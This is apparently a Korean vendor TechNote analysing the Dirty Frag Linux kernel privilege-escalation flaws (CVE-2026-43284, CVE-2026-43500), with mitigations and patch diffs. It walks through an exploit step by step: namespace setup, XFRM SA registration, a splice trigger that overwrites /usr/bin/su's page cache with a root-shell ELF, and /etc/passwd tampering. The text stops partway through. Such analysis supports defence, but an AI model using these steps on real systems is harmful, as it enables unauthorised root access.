블로그
home
Nation-State Cyber Actors Analysis Report
home

Linux 루트 권한 획득 취약점 Dirty Frag 분석(CVE-2026-43284+CVE-2026-43500)

작성자
김미희
감수인
작성일
2026/05/11
배포일
2026/05/13
문서등급
TLP:CLEAR
Tags
CVE-2026-43284
CVE-2026-43500
Dirty Frag
Linux Kernel
문서유형
TechNote

01. Executive Summary

사건개요
리눅스 배포판에서 루트 권한 획득이 가능한 ESP 취약점(CVE-2026-43284)과 RxRPC 변종(CVE-2026-43500)을 결합한 Dirty Frag 취약점이 공개
김현우(@v4bel)연구원에 의해 발견, RxRPC 변종(CVE-2026-43500)의 경우 ikotaslabs에서 Linux 커널(7.1-rc2)에서 Dirty Frag 패밀리의 권한 상승 변종이 포함
대응방안
Copy Fail(CVE-2026-31431) 취약점 공개 이후 리눅스 루트 권한 탈취 취약점이 다수 발견되고 있음에 따라 커널 보안패치 필요
즉시 보안패치가 어려운 경우
IPsec 전송 모드(Transport mode)나 AFS(Andrew File System)가 필요하지 않은 호스트에서는 취약한 모듈이 로드되지 않도록 차단하여 즉시 조치
AWS의 2026-027 보안 권고에 따르면, 최초 공개된 3개 모듈 외에도 이를 둘러싼 xfrm_user, ipcomp4, ipcomp6 모듈까지 차단 리스트를 확장할 것을 권고하고 있으나 만약 커널 빌드 시 해당 기능들이 모듈 형태가 아닌 커널 내부에 직접 포함(Compiled-in)되어 있다면 이 조치는 효과가 없음
컨테이너 런타임에서 seccomp 프로필을 사용하여 AF_KEY, AF_RXRPC, 그리고 XFRM netlink 시스템 호출을 제한
기본 Docker seccomp 프로필은 이미 AF_RXRPC를 차단하고 있지만, AF_KEYXFRM netlink 설정 작업은 아직 차단하지 않고 있음
SPIDER ExD를 이용해 Dirty Flag Threat Hunting 적용 시
Debian: (test by Ubuntu): `/var/log/auth.log`, RHEL: (test by Rocky Linux): `/var/log/messages`, RHEL: `/var/log/audit/audit.log`에서 침해여부 확인 가능

02. Overview

2.1. 취약점 개요

xfrm-ESP 취약점과 RxRPC 취약점을 체이닝(Chaining)을 통해 대부분의 리눅스 배포판에서 루트 권한 획득이 가능한 Dirty Frag 취약점 공개
김현우(@v4bel) 연구원에 의해 처음 발견 및 보고되었으며 다른 단체가 조직적인 엠바고를 깨뜨리는 바람에 패치가 배포되기 전, 예정보다 앞서 공개할 수밖에 없었다고 주장
linux-distros@vs.openwall.org 관리자들과의 협의를 통해 Dirty Frag가 공개되는 것은 협의 완료
취약점 상세 정보 : https://github.com/V4bel/dirtyfrag
Dirty Frag 취약점은 CVE-2026-43284와 CVE-2026-43500 취약점의 결합
ESP 취약점(CVE-2026-43284)은 2017년 1월 커밋 cac2661c53f3을 통해 발생했으며 이 커밋은 IPsec ESP 수신을 제자리 복호화 고속 경로로 이동하며, RxRPC 변종(CVE-2026-43500)은 2023년 6월 동일한 고속 경로 패턴이 rxrp에 추가되면서 발생
두 취약점의 공통점은 Zero-copy 전송 경로를 악용하는 것으로 공격자는 splice()를 사용해 읽기 권한만 있는 파일의 페이지 캐시 참조를 송신측 skb(Socket Buffer)의 frag 슬롯에 그대로 심어넣고 이때 수신측 커널 코드가 이 frag 위에서 In-place(제자리) 암호화 동작을 수행
그 결과 /etc/passwd/usr/bin/su 같은 민감한 파일의 페이지 캐시가 RAM 상에서 직접 수정되며, 이후의 모든 읽기 작업은 변조된 복사본 확인이 가능
POC 테스트 버전
Ubuntu 24.04.4: 6.17.0-23-generic
RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64
openSUSE Tumbleweed: 7.0.2-1-default
CentOS Stream 10: 6.12.0-224.el10.x86_64
AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64
Fedora 44: 6.19.14-300.fc44.x86_64
[Ubuntu 24.04환경에서 POC 실행 화면]
[Ubuntu 26.04환경에서 POC 실행 화면]

2.2. 영향받는 버전 및 완화방안

1) 영향받는 버전

CVE-2026-43284 : xfrm-ESP 페이지 캐시 쓰기 취약점은 cac2661c53f3(2017-01-17) 부터 f4c50a4034e6(2026-05-05)까지 범위에 포함
CVE-2026-43500 : RxRPC 페이지 캐시 쓰기 취약점은 2dc334f1a63a(2023-06-08) 부터 aa54b1d27fe0(2026-05-10)까지 범위에 포함

2) 완화방안

취약점이 해결된 패치된 커널 버전으로 즉시 업데이트 필요
커널 업데이트가 즉시 어려운 경우
IPsec 전송 모드(Transport mode)나 AFS(Andrew File System)가 필요하지 않은 호스트에서는 취약한 모듈이 로드되지 않도록 차단하여 즉시 조치
AWS의 2026-027 보안 권고에 따르면, 최초 공개된 3개 모듈 외에도 이를 둘러싼 xfrm_user, ipcomp4, ipcomp6 모듈까지 차단 리스트를 확장할 것을 권고하고 있으나 만약 커널 빌드 시 해당 기능들이 모듈 형태가 아닌 커널 내부에 직접 포함(Compiled-in)되어 있다면 이 조치는 효과가 없음
컨테이너 런타임에서 seccomp 프로필을 사용하여 AF_KEY, AF_RXRPC, 그리고 XFRM netlink 시스템 호출을 제한
기본 Docker seccomp 프로필은 이미 AF_RXRPC를 차단하고 있지만, AF_KEYXFRM netlink 설정 작업은 아직 차단하지 않고 있음
다음 명령어를 사용하여 취약점이 발생하는 모듈을 제거하고 페이지 캐시 삭제
esp4esp6rxrpc 모듈을 /etc/modprobe.d/dirtyfrag.conf에 블랙리스트로 등록하고 언로드
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
JavaScript
복사
현재 구동 중인 워크로드 중 IPsec 및 AFS를 정당하게 사용하는 사용자가 있는지 감사
setuid 바이너리/etc/passwd 파일에 대한 예상치 못한 수정사항을 모니터링
비특권 프로세스에서 발생하는 splicevmsplice 활동 이후에 나타나는 비정상적인 권한 전이(Privilege transition) 현상을 집중적으로 감시

2.3. 취약점 배경

Dirty FragDirty Pipe(CVE-2022-0847)Copy Fail(CVE-2026-31431)과 동일한 클래스에 속하는 취약점
Dirty Pipe : struct pipe_buffer를 덮어쓰는 반면, Dirty Frag는 struct sk_bufffrag 영역을 덮어쓰는 방식으로 취약점 발현
Copy Fail : 공격자는 splice(file -> pipe -> AF_ALG_fd)를 사용하여 공격자가 고정(pin)한 페이지 캐시 페이지를 TX SGL에 심고 recv() 호출 내부에서 TX SGL의 마지막 4바이트(태그)가 areq->tsgl로 분리되어 sg_chain을 통해 RX SGL의 끝에 체이닝
aead_request_set_crypt(req, src=RX, dst=RX) 호출은 제자리(in-place) 모드를 결정하고, scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1)는 바이트 재배열의 일부로 목적지(dst) 끝에 seqno_lo 4바이트를 임시 쓰기(scratch write)를 수행
일반적인 IPsec 경로에서 해당 위치는 skb의 태그 영역이므로 이 쓰기 동작은 무해하나 공격자가 고정한 페이지가 해당 위치에 배치되면 이 가정이 깨지면서 취약점이 발현
[용어설명]
Page Cache (페이지 캐시) : 리눅스 커널이 하드디스크의 파일에 접근할 때 성능을 높이기 위해 사용하는 메모리상의 복사본으로 파일을 읽으면 커널은 디스크에서 데이터를 가져와 RAM(페이지 캐시)에 올려두고 이후 다른 프로세스가 같은 파일을 읽을 때 디스크로 가지 않고 이 메모리에서 바로 읽음
Dirty Frag는 이 '읽기 전용'이어야 할 페이지 캐시 메모리를 직접 수정해 버리는 것이 핵심
struct sk_buff (Socket Buffer / skb) : 리눅스 커널에서 네트워크 패킷을 담는 가장 기본적인 구조체로 패킷의 헤더 정보와 실제 데이터가 어디에 있는지에 대한 포인터를 포함
Linear (선형) skb: 데이터가 연속된 하나의 메모리 공간에 있는 상태
Non-linear (비선형) skb: 데이터가 여러 조각(frags)으로 나뉘어 저장된 상태
frag (Fragment) : 비선형 skb에서 데이터를 담고 있는 메모리 조각으로 struct skb_shared_info라는 구조체 안에 frags[] 배열 형태로 존재하며, 각 조각은 물리 메모리 페이지를 가리킴
Dirty Frag : splice에서 기인한 비선형(nonlinear) skb의 frag 위에서 동일한 패턴이 재현되는 취약점
xfrm-ESP 페이지 캐시 쓰기: esp_inputskb_cow_data를 우회하고 crypto_authenc_esn_decryptfrag 위에서 직접 실행
RxRPC 페이지 캐시 쓰기: rxkad_verify_packet_1frag 위에서 pcbc(fcrypt)를 사용해 제자리(in-place) 단일 블록 복호화를 수행
참고로 Dirty Frag는 algif_aead 모듈의 가용 여부와 관계없이 트리거 되며 공개적으로 알려진 Copy Fail 완화책(algif_aead 블랙리스트)이 적용된 시스템이라 할지라도, 해당 리눅스는 여전히 Dirty Frag에 취약
[용어설명]
splice() 시스템 콜 : 데이터를 복사(copy)하지 않고 참조(reference)만 옮기는 제로 카피(Zero-copy) 기술로 파일의 데이터를 네트워크로 보낼 때 데이터를 사용자 공간으로 복사해왔다가 다시 커널로 보내는 대신, 파일의 페이지 캐시 주소를 직접 네트워크 패킷(skb)의 frag에 꽂는 기술
Dirty Pipe, Copy Fail, Dirty Frag 기능 비교
(개념적 차이) 3개 취약점 모두 읽기 권한만 있는 파일의 캐시를 메모리 상에서 직접 수정한다는 점에서 공통점이 있으나, 타겟팅하는 커널 구조체와 공격 프리미티브(Primitive)에서 차이가 존재
(공격타깃의 방법) Dirty Pipe가 파이프 인터페이스의 단순한 플래그 오류였다면, Copy Fail과 Dirty Frag는 메모리 공유(Zero-copy)를 처리하는 커널의 복잡한 로직 내에서 "공유된 페이지 캐시 페이지"를 "쓰기 가능한 개인 영역"으로 오인하는 논리적 결함을 이용
(방어적 측면) Dirty Frag는 특히 algif_aead와 같은 고립된 모듈이 아닌, 커널의 핵심 네트워크 스택(xfrm)이나 통신 프로토콜(RxRPC) 내에 존재하므로 단순히 모듈을 차단하는 방식으로 방어하기 어려움
비교 항목
Dirty Pipe (CVE-2022-0847)
Copy Fail (CVE-2026-31431)
Dirty Frag (CVE-2026-43284)
공격 타깃
struct pipe_buffer
AF_ALG (Crypto SGL)
struct sk_buff (frag 영역)
발생 지점
파이프 서브시스템
암호화 서브시스템 (algif_aead)
네트워크 서브시스템 (xfrm, RxRPC)
트리거 방식
파이프 플래그(PIPE_BUF_FLAG_CAN_MERGE) 미초기화 악용
sg_chain을 통한 페이지 캐시 오염 및 인플레이스 암호화
비선형 skb의 skb_cow_data 우회 및 인플레이스 암호화/복호화
쓰기 프리미티브
파이프에 데이터를 쓰는 것만으로 임의의 오프셋 수정 가능
암호화 알고리즘의 바이트 재배열 과정에서 발생하는 4바이트 쓰기
ESP 시퀀스 번호 재배열(4바이트) 또는 fcrypt 복호화 결과물(8바이트) 쓰기
환경적 제약
특정 커널 버전(5.8 이상)에 국한
algif_aead 모듈이 로드되어 있어야 함
네트워크 모듈 의존성 (xfrm, rxrpc), unshare 권한 필요성(ESP)
보안패치외 완화방안
불가능 (커널 패치 필수)
블랙리스트로 대응 가능하나 Dirty Frag에 무력함
모듈 블랙리스트 우회 가능, 커널 로직 패치만으로 해결 가능
레이스컨디션 여부
레이스 컨디션 필요 없음
레이스 컨디션 필요 없음
레이스 컨디션 필요 없음 (높은 성공률)

03. Vulnerability Analysis

Dirty Frag는 xfrm-ESP 취약점과 RxRPC 취약점을 연계한 체이닝 구조로 발생되기 때문에 각각의 구조 파악이 필요

3.1. CVE-2026-43284 : frm-ESP 페이지 캐시 쓰기(xfrm-ESP Page-Cache Write)

1) 취약점 근본 원인

① COW(Copy-on-Write) 우회 로직
ESP 페이로드에 대해 제자리(In-place) AEAD 복호화를 수행하기 전, skb가 비선형(non-linear)인 경우 esp_input()은 원래 skb_cow_data()를 호출하여 새로운 커널 전용 프라이빗 버퍼를 할당하고, 조각(frag) 데이터를 그곳으로 복사한 뒤 제자리 연산을 수행
아래의 분기문은 이 COW 과정을 우회하는 경로를 만들어 내는데 사용
static int esp_input(struct xfrm_state *x, struct sk_buff *skb) { [...] if (!skb_cloned(skb)) { // [1] 지점: skb가 비선형이 아닐 때 if (!skb_is_nonlinear(skb)) { nfrags = 1; goto skip_cow; } // [2] 지점: 비선형이지만 frag_list가 없을 때 else if (!skb_has_frag_list(skb)) { nfrags = skb_shinfo(skb)->nr_frags; nfrags++; goto skip_cow; // <= 여기서 COW를 건너뜁니다. } } err = skb_cow_data(skb, 0, &trailer); [...]
JavaScript
복사
[1] 지점에서 skb에 조각(frag)이 있더라도 frag_list가 없다면 코드는 즉시 [2]로 점프하여 조각(frag) 위에서 직접 암호화 연산을 수행
만약 공격자가 splice를 통해 페이지 캐시 페이지를 이 조각(frag)에 고정(pinned)시켜 두었다면, 해당 페이지가 곧 소스(src)이자 목적지(dst)
② 제자리 암호화 도중 발생하는 쓰기(STORE) 작업
문제는 제자리 암호화 자체보다는, 이 과정에서 쓰기(STORE) 작업이 발생한다는 점으로 ESP + ESN(확장 시퀀스 번호) + authencesn(...) 조합을 사용할 때, crypto_authenc_esn_decrypt()는 시퀀스 번호의 상위 4바이트를 소스 SGL의 끝으로 옮기는 전처리 단계에서 다음과 같은 쓰기(STORE)를 수행
static int crypto_authenc_esn_decrypt(struct aead_request *req) { [...] /* 시퀀스 번호의 상위 비트를 끝으로 이동시킴 */ scatterwalk_map_and_copy(tmp, src, 0, 8, 0); if (src == dst) { scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // [3] 지점: 4바이트 STORE 발생 scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4); [...]
JavaScript
복사
[3] 지점의 4바이트 쓰기는 목적지(dst) SGL의 assoclen + cryptlen 위치에서 발생
공격자가 페이로드 길이를 조절하여 splice로 심어둔 페이지 P가 해당 위치에 오도록 맞춘다면, 페이지 P의 정확히 원하는 파일 오프셋 위치에 4바이트를 쓸 수 있게 됨
③ 써지는 값의 제어
이 4바이트의 값은 tmp + 1이 가리키는 데이터, 즉 ESP 헤더에 있는 시퀀스 번호의 상위 32비트
이 값의 출처를 추적해 보면, esp_input_set_header()가 단순히 SA(보안 협약)의 XFRM_SKB_CB(skb)->seq.input.hi 값을 복사해 넣은 것으로 이 값은 사용자가 SA 등록 시 XFRMA_REPLAY_ESN_VAL 넷링크 속성을 통해 자유롭게 지정한 replay_esn->seq_hi 값을 의미
static void esp_input_set_header(struct sk_buff *skb, __be32 *seqhi) { [...] if ((x->props.flags & XFRM_STATE_ESN)) { esph = skb_push(skb, 4); *seqhi = esph->spi; esph->spi = esph->seq_no; // 사용자가 지정한 seq_hi 값이 여기에 들어갑니다. esph->seq_no = XFRM_SKB_CB(skb)->seq.input.hi; } }
JavaScript
복사
④ 공격 조건
결과적으로 공격자는 쓰기가 발생하는 위치(파일 오프셋)와 값(4바이트)을 모두 완벽하게 제어가 가능
AEAD 인증 확인은 이 쓰기 작업 이후에 실행되므로, 인증에 실패하더라도 이미 쓰기(STORE)는 발생한 상태이며 페이지 캐시 수정 사항은 영구적으로 남게 되어 공격자는 SA의 인증 키를 몰라도 수정을 성공시킬 수 있음
추가로, esp_input이 호출되려면 XFRM SA가 등록되어야 하며, 이를 위해서는 CAP_NET_ADMIN 권한이 필요
이는 공격자가 사용자 네임스페이스(User Namespace)를 생성할 수 있는 권한이 있어야 함을 의미

2) Exploit

① 공격 목표
공격 대상은 /usr/bin/su으로 setuid-root 비트가 유지된 상태에서 /usr/bin/su의 페이지 캐시 첫 192바이트(파일 오프셋 0부터 시작)를 루트 셸을 실행하는 정적 ELF 바이너리로 완전히 교체
새 ELF의 구조: 가상 주소 0x4000000xb8 바이트를 PT_LOAD를 통해 읽기+실행(R+X) 권한으로 매핑
엔트리 포인트: 파일 오프셋 0x78(가상 주소 0x400078)에서 setgid(0); setuid(0); setgroups(0,NULL); execve("/bin/sh", ...)를 실행
공격 효과: 이 과정을 통해 PAM(인증 모듈) 흐름을 완전히 우회하며, 단 한 번의 execve("/usr/bin/su") 실행만으로 루트 셸을 획득하게 되고, 192바이트의 데이터는 4바이트씩 48개의 청크로 나뉘어 ESP 변종의 4바이트 임의 쓰기(STORE) 프리미티브를 통해 작성
② 공격환경 : 네임스페이스 격리
XFRM SA(보안 협약) 등록에는 CAP_NET_ADMIN 권한이 필요하므로, 자식 프로세스는 unshare(CLONE_NEWUSER | CLONE_NEWNET)를 통해 새로운 사용자/네트워크 네임스페이스 내부로 격리되어 해당 네임스페이스 내에서 루트 권한
매핑: 0 <실제_UID> 1의 ID 매핑을 사용
네트워크: ioctl(SIOCSIFFLAGS)를 사용하여 새 네임스페이스의 루프백(lo) 인터페이스를 UP 상태로 활성화
unshare(CLONE_NEWUSER | CLONE_NEWNET); write_proc("/proc/self/setgroups", "deny"); write_proc("/proc/self/uid_map", "0 <real_uid> 1"); write_proc("/proc/self/gid_map", "0 <real_gid> 1"); ioctl(s, SIOCSIFFLAGS, &(struct ifreq){ .ifr_name="lo", .ifr_flags=IFF_UP|IFF_RUNNING });
JavaScript
복사
③ XFRM SA 등록
다음으로 48개 청크 분량의 XFRM SA를 한꺼번에 등록
각 SA는 고유한 SPI(0xDEADBE10 + i)를 가지며, XFRMA_REPLAY_ESN_VAL.seq_hi에 배치된 4바이트 데이터(셸코드의 각 청크)가 페이지 캐시에 기록될 실제 값으로 사용
SA 설정: XFRM_MODE_TRANSPORT + XFRM_STATE_ESN, 알고리즘은 authencesn(hmac(sha256), cbc(aes)), UDP 캡슐화(포트 4500) 등을 사용
키 설정: 인증 및 복호화 검증은 어차피 실패할 것이므로 HMAC 키와 암호화 키는 임의의 값을 사용
struct xfrm_replay_state_esn esn = { .bmp_len = 1, .seq = 100, .replay_window = 32, .seq_hi = patch_seqhi, /* 페이지 캐시에 기록될 4바이트 값 */ }; put_attr(nlh, XFRMA_REPLAY_ESN_VAL, &esn, sizeof(esn) + 4);
JavaScript
복사
④ Trigger 매커니즘
각 청크의 트리거는 새로 생성된 sk_recv(UDP_ENCAP_ESPINUDP 설정)와 sk_send 쌍을 사용
sk_recv로 도착한 UDP 패킷은 일반 UDP 큐가 아닌 xfrm4_udp_encap_rcv -> xfrm_input -> esp_input 경로로 라우팅
패킷 구성: vmsplice를 통해 위조된 ESP 와이어 헤더(24바이트)를 파이프에 등록
파일 연결: splice를 사용하여 /usr/bin/su 파일 오프셋 i*4 지점의 16바이트를 다음 파이프 슬롯에 등록
전송: splice_to_socket()은 자동으로 MSG_SPLICE_PAGES를 설정하며, 이로 인해 /usr/bin/su의 페이지 캐시 페이지 P가 송신측 skbfrag[0]에 그대로 심어지게 됨
uint8_t hdr[24]; *(uint32_t *)(hdr + 0) = htonl(spi); /* 청크별 SPI */ *(uint32_t *)(hdr + 4) = htonl(SEQ_VAL); /* 와이어 seq_no_lo */ memset(hdr + 8, 0xCC, 16); /* IV (값은 무관) */ vmsplice(pfd[1], &(struct iovec){hdr, 24}, 1, 0); splice(file_fd, &(off_t){i*4}, pfd[1], NULL, 16, SPLICE_F_MOVE); splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
JavaScript
복사
⑤ 수신 측 처리 및 취약점 발현
송신된 skb는 루프백을 통해 수신되며, 아래와 같은 구조
head/linear: ESP 헤더 + IV (24바이트)
frags[0]: /usr/bin/su의 페이지 캐시 페이지 P (오프셋 i*4, 크기 16)
udp_rcv(skb) xfrm4_udp_encap_rcv(sk, skb) xfrm_input(skb, IPPROTO_ESP, spi, 0) esp_input(x, skb) pskb_may_pull(skb, sizeof(esp_hdr) + ivlen) if (!skb_cloned(skb) && !skb_has_frag_list(skb)) // 취약한 분기: 페이지 P를 담은 frag 보존 goto skip_cow; esp_input_set_header(skb, seqhi) skb_push(skb, 4); esph->seq_no = XFRM_SKB_CB(skb)->seq.input.hi; skb_to_sgvec(skb, sg, 0, skb->len) aead_request_set_crypt(req, sg, sg, elen+ivlen, iv) crypto_aead_decrypt(req) crypto_authenc_esn_decrypt(req) scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, /*out=*/1) memcpy(page_address(P) + i*4, &tmp[1], 4); // 4바이트 STORE 발생: 페이지 P[i*4..i*4+3] = patch_seqhi
JavaScript
복사
수신측 실행 흐름
1.
udp_rcv -> xfrm_input -> esp_input 호출
2.
esp_input에서 skb_clonedskb_has_frag_list 검사 시 취약한 분기를 만나 skip_cow로 점프. (페이지 P가 보존됨)
3.
esp_input_set_header에서 시퀀스 번호를 사용자가 등록한 seq_hi로 설정
4.
crypto_authenc_esn_decrypt 실행 중 scatterwalk_map_and_copy 호출
5.
결과: memcpy(page_address(P) + i*4, &tmp[1], 4); 가 실행되어 페이지 P의 특정 오프셋에 공격자의 4바이트가 기록됨
⑥ 최종 공격 성공
단 한 번의 호출로 파일 오프셋 i*4에 정확히 4바이트가 기록되어 AEAD 인증 결과는 -EBADMSG(인증 실패)를 반환하지만, 쓰기 작업은 이미 완료된 후이므로 오류는 무시
i를 0부터 47까지 반복하면 192바이트의 ELF 바이너리가 페이지 캐시 위에 완전히 조립되며, 이 과정은 레이스 컨디션 없이 결정론적으로 작동해서 한 번 기록된 페이지 캐시는 재부팅이나 캐시 삭제 전까지 유지
이후 부모 프로세스에서 execve("/usr/bin/su")를 실행하면, 커널은 오염된 페이지 캐시를 로드하고 setuid-root 권한으로 공격자의 쉘코드를 실행하여 루트 셸을 띄우는 역할을 수행

3) Patch

이 패치는 IPv4/IPv6 데이터그램 추가 경로(append paths)에서 splice를 통해 들어온 페이지 조각(page frags)에 SKBFL_SHARED_FRAG 플래그를 설정
또한, ESP 입력 단계(esp_input / esp6_input)의 skip_cow 분기에서 이 플래그를 확인하도록 수정
이를 통해 외부에서 고정(pinned)된 페이지를 가진 skb는 항상 skb_cow_data 경로로 라우팅되도록 강제
결과적으로, 공격자가 고정한 페이지 캐시 페이지는 더 이상 제자리(In-place) AEAD의 목적지 SGL(dst SGL)에 진입할 수 없게 되며, 이로써 페이지 캐시 변조가 원천적으로 차단
[용어설명]
SKBFL_SHARED_FRAG 플래그의 역할 : 이 플래그는 해당 메모리 조각이 "파일의 페이지 캐시와 같은 외부와 공유되고 있음"을 커널에 알리는 표식으로 패치는 ip_append_data 또는 ip6_append_data 함수 내부에서 splice를 통해 데이터가 추가될 때 이 플래그를 명시적으로 할당
검사지점 강화(esp_input/esp6_input) : 기존에는 skb_cloned(skb)skb_has_frag_list(skb)만 확인하여 지름길(skip_cow)로 갈지를 결정하는 것으로 패치 이후에는 여기에 !skb_has_shared_frag(skb) 조건이 추가되어 공유된 조각이 하나라도 있다면 무조건 안전산 복사본을 만드는 skb_cow_data를 호출하는 구조로 변경
diff --git a/net/ipv4/esp4.c b/net/ipv4/esp4.c index 6dfc0bcde..6a5febbdb 100644 --- a/net/ipv4/esp4.c +++ b/net/ipv4/esp4.c @@ -873,7 +873,8 @@ static int esp_input(struct xfrm_state *x, struct sk_buff *skb) nfrags = 1; goto skip_cow; - } else if (!skb_has_frag_list(skb)) { + } else if (!skb_has_frag_list(skb) && + !skb_has_shared_frag(skb)) { // frag_list가 없더라도 shared_frag가 있다면 skip_cow를 하지 못하게 막음 nfrags = skb_shinfo(skb)->nr_frags; nfrags++; diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c index e4790cc7b..5bcd73cbd 100644 --- a/net/ipv4/ip_output.c +++ b/net/ipv4/ip_output.c @@ -1233,6 +1233,8 @@ static int __ip_append_data(struct sock *sk, if (err < 0) goto error; copy = err; + if (!(flags & MSG_NO_SHARED_FRAGS)) + skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG; wmem_alloc_delta += copy; } else if (!zc) { int i = skb_shinfo(skb)->nr_frags; diff --git a/net/ipv6/esp6.c b/net/ipv6/esp6.c index 9f7531373..9c06c5a14 100644 --- a/net/ipv6/esp6.c +++ b/net/ipv6/esp6.c @@ -915,7 +915,8 @@ static int esp6_input(struct xfrm_state *x, struct sk_buff *skb) nfrags = 1; goto skip_cow; - } else if (!skb_has_frag_list(skb)) { + } else if (!skb_has_frag_list(skb) && + !skb_has_shared_frag(skb)) { nfrags = skb_shinfo(skb)->nr_frags; nfrags++; diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c index 7e92909ab..1f2a33fbe 100644 --- a/net/ipv6/ip6_output.c +++ b/net/ipv6/ip6_output.c @@ -1794,6 +1794,8 @@ static int __ip6_append_data(struct sock *sk, if (err < 0) goto error; copy = err; + if (!(flags & MSG_NO_SHARED_FRAGS)) + skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG; // 데이터 추가 시 공유 플래그를 강제로 세팅하여 이후 ESP 단계에서 감지되게 함 wmem_alloc_delta += copy; } else if (!zc) { int i = skb_shinfo(skb)->nr_frags;
JavaScript
복사
위의 패치 과정은 크게 2가지 단계로 진행
esp4/esp6의 입력 패스트 패스(Fast Path)에서 skb_cow_data()를 직접 호출하는 방식 : 저자(v4bel)가 처음 제안한 방식은 문제가 발생하는 지점(ESP 입력 루틴)에서 "묻지도 따지지도 말고 일단 메모리 복사(COW)를 수행해라"라고 강제하는 방식으로 이는 보안상 확실하지만, 모든 패킷에 대해 복사를 수행할 경우 네트워크 성능이 저하될 수 있는 단점이 존재
최종적으로 병합(Merged)된 패치는 내가 패치를 발표하고 4일 후에 Kuan-Ting Chen이 후속으로 제출한 '공유 프래그(shared-frag)' 접근 방식을 기반 : 최종적으로 리눅스 커널 메인라인에 반영된 방식은 더 우아하고 효율적인 방식으로 무조건 복사하는 대신, 해당 패킷이 splice() 등을 통해 외부와 메모리를 공유하고 있는지(shared-frag)를 먼저 확인하고, 위험한 경우에만 선택적으로 복사를 수행하도록 설계
구분
v1 패치 (Direct COW)
최종 패치 (Shared-frag Approach)
작동 원리
ESP 입력 단계에서 무조건 skb_cow_data() 호출
패킷 생성 시 플래그를 세팅하고, ESP 단계에서 이를 검사
성능 영향
모든 ESP 패킷의 처리 속도가 약간 느려짐
일반적인 패킷은 성능 저하가 없으며, 위험한 패킷만 복사
정교함
단순하고 강력한 방어
커널의 상태 관리(Flag)를 활용한 지능적 방어
최종적으로는 데이터가 splice를 통해 네트워크 스택으로 들어올 때, 커널은 이 패킷 조각(frag)이 파일 시스템과 메모리를 공유하고 있다는 증표로 SKBFL_SHARED_FRAG라는 플래그를 추가하고 ESP모듈이 패킷을 처리하기 직전에 이 플래그가 존재하는지 확인
이를 통해 플래그가 없다면 안전한 데이터라고 판단하고 Fast Path로 통과하고
플래그가 있다면 공격자가 심어둔 페이지 캐시라고 판단하고 skb_cow_data()를 호출하여 안전하게 복사본을 만든 뒤 연산하도록 구현

3.2. CVE-2026-43500 : RxRPC 페이지 캐시 쓰기 (RxRPC Page-Cache Write)

1) 취약점 근본 원인

RXKAD 보안 클래스의 RXRPC_SECURITY_AUTH 레벨에서 데이터 패킷을 검증하기 위해, rxkad_verify_packet_1()은 skb의 rxrpc 페이로드 첫 8바이트에 대해 제자리(In-place) pcbc(fcrypt) 복호화를 수행
static int rxkad_verify_packet_1(struct rxrpc_call *call, struct sk_buff *skb, rxrpc_seq_t seq, struct skcipher_request *req) { [...] /* skbuff를 제자리에서 복호화합니다. * TODO: 우리는 정말로 타겟 버퍼로 직접 복호화하기를 원합니다. */ sg_init_table(sg, ARRAY_SIZE(sg)); ret = skb_to_sgvec(skb, sg, sp->offset, 8); if (unlikely(ret < 0)) return ret; /* 복호화를 새로 시작합니다. */ memset(&iv, 0, sizeof(iv)); skcipher_request_set_sync_tfm(req, call->conn->rxkad.cipher); skcipher_request_set_callback(req, 0, NULL, NULL); // [4] 지점: src와 dst SGL이 동일(sg, sg)하여 제자리(in-place) 연산이 됨 skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // [5] 지점: 8바이트 STORE(쓰기)가 발생 ret = crypto_skcipher_decrypt(req);
JavaScript
복사
메커니즘: [4]에서 소스(src)와 목적지(dst) SGL이 동일하므로 제자리 연산이 수행되며, skb_to_sgvec()가 skb의 조각(frag)을 SGL로 직접 변환하기 때문에 공격자가 splice를 통해 frag에 고정시킨 페이지 캐시 페이지 P가 그대로 src/dst SGL이 되어 [5]에서 페이지 P 위에 8바이트 쓰기(STORE)가 발생
ESP 변종과의 차이: ESP 버전은 공격자가 4바이트 값을 직접 제어하지만, RxRPC 버전은 공격자의 키 K로 한 번 암호화 함수를 통과한 8바이트가 기록. IV가 0이고 단일 블록이므로, pcbc_decrypt(C, K, IV=0)fcrypt_decrypt(C, K)와 동일
키 제어: fcrypt는 56비트 키와 8바이트 블록을 사용하는 결정론적 함수로 공격자는 add_key("rxrpc", ...)를 통해 session_key 필드에 키 K를 등록할 수 있으며, 이 작업에는 아무런 권한이 필요하지 않기 때문에 일반 사용자도 K를 자유롭게 제어 가능
장점: xfrm-ESP 버전과 달리, 이 취약점은 사용자 네임스페이스(User Namespace) 생성 권한 없이도 트리거가 가능

2) Exploit

RxRPC 변종은 기록되는 값이 fcrypt_decrypt(C, K)이므로 공격자가 값을 직접 선택할 수 없으며 원하는 8바이트를 심으려면 사용자 공간에서 키 K를 무차별 대입(Brute-force)
8바이트 전체를 특정 값으로 맞추려면 키 공간이 $2^{56}$에 달해 불가능하지만, 아주 적은 바이트만 결정하면 되는 대상을 선택하면 현실적인 시간 내에 가능
① 공격 대상: /etc/passwd의 첫 번째 줄 (root 엔트리)
원래 "root:x:0:0:root:/root:/bin/bash"인 줄을 "root::0:0:GGGGGG:/root:/bin/bash" 형태로 변경
효과: 패스워드 필드가 빈 문자열(::)이 되면, PAM의 nullok 설정이 이를 허용하여 비밀번호 입력 없이 루트 셸을 얻을 수 있음
조건: 4~15번 글자(총 12바이트)만 수정하면 되며, 그중 10~14번 글자는 '콜론, 널, 개행 문자'가 아니기만 하면 되는 약한 제약 조건을 가지며 이를 위해 세 번의 8바이트 쓰기를 겹쳐서 수행(Last-write-wins)
② 데이터 배치 전략
